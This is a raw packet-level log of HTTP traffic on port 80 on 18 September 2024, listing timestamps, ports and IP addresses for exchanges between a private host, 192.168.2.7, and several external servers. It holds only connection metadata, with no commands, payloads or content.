Sep 18, 2024 14:30:08.156380892 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.156392097 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.156398058 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.156408072 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.156421900 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.156429052 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.156435013 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.156444073 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.156449080 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.156461000 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.156471014 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.156472921 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.156485081 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.156497002 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.156505108 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.156508923 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.156508923 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.156521082 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.156528950 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.156534910 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.156541109 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.156547070 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.156555891 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.156558990 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.156584024 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.156605959 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.157838106 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.157850981 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.157861948 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.157874107 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.157885075 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.157891989 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.157896042 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.157910109 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.157915115 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.157924891 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.157932043 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.157936096 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.157949924 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.157958031 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.157962084 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.157973051 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.157984018 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.157989979 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.157994032 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.158003092 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.158010960 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.158015966 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.158027887 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.158032894 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.158041000 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.158054113 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158061981 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.158066034 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158077002 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158087969 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158093929 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.158097029 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.158102036 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158116102 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158118963 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.158129930 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158139944 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.158143044 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158155918 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158168077 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.158168077 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158180952 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158193111 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158201933 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.158205032 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158217907 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.158217907 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.158226967 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158238888 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158241987 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.158252954 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.158262968 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.158282995 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.158298016 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.158298969 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.158298969 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.158299923 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.158309937 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158322096 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158325911 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.158333063 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158344984 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158355951 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158358097 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.158370018 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158401012 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.158401012 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.158413887 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158432961 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158444881 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158452034 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.158457041 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158467054 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.158471107 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158474922 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.158483028 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158483982 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.158495903 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158505917 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.158509970 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158519983 CEST	80	49715	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.158531904 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.158545971 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.158607006 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158639908 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.158715010 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158725977 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158740044 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158749104 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.158754110 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158763885 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.158771992 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158782959 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.158782959 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.158797979 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.158809900 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158813000 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.158822060 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158829927 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.158838034 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158844948 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.158850908 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158864021 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158864975 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.158876896 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158891916 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.158910990 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.158910990 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.158936977 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.159271955 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.159286022 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.159298897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.159312010 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.159338951 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.159406900 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.159421921 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.159435034 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.159445047 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.159452915 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.159456968 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.159480095 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.159507990 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.163019896 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.163033962 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.163047075 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.163058043 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.163083076 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.163095951 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.163100958 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.163135052 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.163165092 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.163177967 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.163189888 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.163208008 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.163223982 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.163265944 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.163279057 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.163300037 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.163306952 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.163311005 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.163324118 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.163335085 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.163335085 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.163347960 CEST	80	49712	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.163360119 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.163382053 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.163399935 CEST	80	49712	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.163410902 CEST	80	49712	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.163424969 CEST	80	49712	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.163430929 CEST	49712	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.163430929 CEST	49712	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.163445950 CEST	80	49712	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.163456917 CEST	49712	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.163460016 CEST	80	49712	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.163475037 CEST	80	49712	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.163480997 CEST	49712	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.163487911 CEST	80	49712	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.163501024 CEST	80	49712	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.163511038 CEST	49712	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.163533926 CEST	49712	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.163593054 CEST	80	49712	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.163625002 CEST	49712	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.163670063 CEST	49712	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.163690090 CEST	49712	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.163878918 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.163902998 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.163913965 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.163919926 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.163933039 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.163948059 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.163997889 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.164010048 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.164019108 CEST	49716	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.164021969 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.164032936 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.164032936 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.164048910 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.164068937 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.164716005 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.164768934 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.166865110 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.166918039 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.168370008 CEST	80	49712	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.168411016 CEST	49712	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.170097113 CEST	80	49712	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.170140028 CEST	49712	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.170180082 CEST	80	49716	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.170238972 CEST	49716	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.170536041 CEST	49716	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.175371885 CEST	80	49716	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.242569923 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242598057 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242609978 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242621899 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242634058 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242650986 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242662907 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242672920 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242683887 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242696047 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242706060 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242718935 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242732048 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242743015 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242754936 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242768049 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242798090 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.242850065 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.242857933 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242871046 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242882013 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242893934 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242902040 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.242909908 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242922068 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242932081 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242933035 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.242950916 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242960930 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.242964983 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242978096 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.242980003 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.242991924 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243012905 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243040085 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243043900 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243057966 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243081093 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243098021 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243133068 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243145943 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243158102 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243170023 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243171930 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243182898 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243195057 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243227959 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243232012 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243247032 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243257046 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243268013 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243274927 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243289948 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243297100 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243304014 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243315935 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243326902 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243350983 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243486881 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243498087 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243510008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243529081 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243534088 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243541956 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243550062 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243555069 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243566990 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243580103 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243604898 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243647099 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243659973 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243673086 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243683100 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243690968 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243696928 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243711948 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243719101 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243746996 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243758917 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243772030 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243784904 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243796110 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243798018 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243808985 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243822098 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243828058 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243849993 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243855000 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243864059 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243875980 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.243896961 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.243913889 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.244018078 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244029045 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244040966 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.244054079 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.244064093 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.244076967 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.244076967 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.244087934 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.244092941 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.244101048 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.244112968 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244112968 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.244132996 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244144917 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244154930 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.244155884 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244154930 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.244162083 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.244169950 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244182110 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244185925 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.244194031 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244205952 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244206905 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.244225979 CEST	49706	80	192.168.2.7	147.45.44.104
